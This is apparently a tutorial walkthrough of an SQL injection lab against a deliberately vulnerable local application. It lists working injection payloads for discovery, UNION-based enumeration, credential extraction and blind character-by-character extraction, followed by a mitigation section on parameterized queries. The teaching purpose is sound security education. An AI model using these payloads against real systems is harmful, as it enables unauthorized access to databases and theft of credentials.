SQL Injection Lab: From Discovery to Exploitation
A hands-on walkthrough of SQL injection techniques — from basic error-based injection to blind boolean extraction.
SQL Injection Lab: From Discovery to Exploitation
SQL injection remains one of the most prevalent web vulnerabilities. In this lab walkthrough, we go from identifying an injectable parameter to extracting sensitive data.
⚠️ Disclaimer: Only perform these techniques on systems you own or have explicit written permission to test.
Lab Setup
We'll use a deliberately vulnerable application (DVWA or similar):
Target: http://localhost:8080/vulnerabilities/sqli/
Parameter: id (GET)
Phase 1: Discovery
Start with the classic apostrophe test:
http://localhost:8080/vulnerabilities/sqli/?id=1'
If the page errors out with a SQL syntax error — you've found injection.
Confirming with Boolean Logic
-- True condition (normal page)
1' AND 1=1 --
-- False condition (different/empty response)
1' AND 1=2 --
Different responses confirm Boolean-based SQLi.
Phase 2: Enumeration
Find Column Count
1' ORDER BY 1 -- -- works
1' ORDER BY 2 -- -- works
1' ORDER BY 3 -- -- error → 2 columns
Identify Injectable Columns
1' UNION SELECT NULL, NULL --
1' UNION SELECT 'a', 'b' --
Phase 3: Extraction
Database Info
1' UNION SELECT database(), user() --
List Tables
1' UNION SELECT table_name, NULL
FROM information_schema.tables
WHERE table_schema=database() --
Extract Credentials
1' UNION SELECT user, password
FROM users --
Blind SQLi: When There's No Output
When the page doesn't display data directly:
-- If admin user exists, page loads normally
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0 --
-- Extract characters one by one
1' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' --
Mitigation
The fix is always parameterized queries:
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")
# Safe
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
Also implement:
- Input validation (allowlist, not denylist)
- WAF with SQLi signatures
- Least-privilege DB accounts
- Error messages that don't expose stack traces
Key Takeaways
SQL injection is old but never gone. Every new developer is a potential reintroduction vector. Parameterize everything, test everything, and audit regularly.